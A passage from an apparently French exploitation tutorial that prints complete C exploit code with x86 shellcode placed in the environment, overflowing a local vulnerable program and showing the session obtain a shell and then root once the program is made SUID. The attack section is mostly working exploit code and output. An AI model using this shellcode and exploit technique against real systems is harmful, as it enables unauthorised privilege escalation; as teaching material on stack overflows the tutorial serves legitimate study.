0x03 - Exploitation de Vulnérable ]
Bien, je l'ai dit au début, on va faire passer le shellcode dans l'environnement.
Code source de l'exploit:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#define SIZEB 6
#define OWN 8
#define ROOT "./stack"
#define ARG (0xc0000000 - 4 - sizeof(ROOT) - sizeof(sh))
#define ccopy(a, b) *((int *) &arg[1][a]) = b
int main(int arc, char *arv[])
{
char sh[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x0d"
"\x5b\x31\xc0\x50\x53\x89\xe1\xb0\x0b\x31\xd2\xcd"
"\x80\xe8\xee\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
char *arg[] = { ROOT, "phear", NULL };
char *env[] = { sh, NULL };
arg[1] = malloc(SIZEB + OWN + 1);
memset(arg[1], '0', SIZEB + OWN);
ccopy(SIZEB+OWN-4, ARG);
execve(arg[0], arg, env);
}
Explication: En faite c'est la ligne suivante qui va calculer l'adresse du sh dans l'env:
#define ARG (0xc0000000 - 4 - sizeof(ROOT) - sizeof(sh))
Le pointeur sur tableau *env[] contient seulement le shellcode
Testons maintenant notre exploit:
icefox@evil~$ ./exploit
sh-2.05b$
Voilà ! on à chopé notre shell :)
Il reste encore un problème:
icefox@evil~$ whoami
icefox
Le programme vulnérable appartient à l'utilisateur "icefox" (moi quoi:>) donc nous avons les
droits de cet utilisateur seulement. Simulons un programme vulnérable ayant les droits
SUID:
root@evil~# chown root.root stack
root@evil~# chmod +s stack
icefox@evil~$ ./exploit
sh-2.05b# whoami
root
Oh yeah ;)
[